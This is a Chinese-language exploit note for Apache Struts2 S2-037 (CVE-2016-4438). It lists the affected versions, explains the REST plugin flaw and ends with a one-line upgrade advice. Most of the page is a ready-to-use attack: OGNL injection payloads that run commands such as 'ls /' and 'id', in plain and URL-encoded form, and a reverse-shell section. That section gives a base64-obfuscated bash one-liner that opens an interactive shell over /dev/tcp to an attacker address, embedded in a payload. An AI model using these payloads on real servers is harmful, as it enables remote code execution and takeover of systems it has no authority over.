S2-037 CVE-2016-4438 远程代码执行
漏洞名称
S2-037 CVE-2016-4438 远程代码执行
利用条件
Struts 2.3.20 - Struts Struts 2.3.28.1
使用了REST插件
漏洞原理
Apache Struts2在使用REST插件的情况下,攻击者使用REST调用恶意表达式可以远程执行代码。
rest介绍:
使用http://localhost:8080/bee/action-name/1/XXX这种请求方式,其实XXX可以是任何合法的名字
Struts2会查找XXX为名字的方法来调用,比如请求http://localhost:8080/bee/test/1/abc,那么TestAction的public String abc()就会被调用
攻击者可以使用REST插件调用恶意表达式实现远程执行代码
当 Struts2 开启 devMode 模式时,将导致严重远程代码执行漏洞。如果 WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等
在开启 devMode 情况下,本漏洞可影响 Struts 2.1.0--2.5.1
漏洞利用
命令执行
payload
#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#process=@java.lang.Runtime@getRuntime().exec(#parameters.command[0]),#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()),@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros),#ros.flush(),#xx=123,#xx.toString.json?command=ls /
(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=id
command=执行命令
编码后发送请求
反弹shell
bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#process=@java.lang.Runtime@getRuntime().exec(#parameters.command[0]),#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()),@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros),#ros.flush(),#xx=123,#xx.toString.json?command=bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
修复建议
升级最新版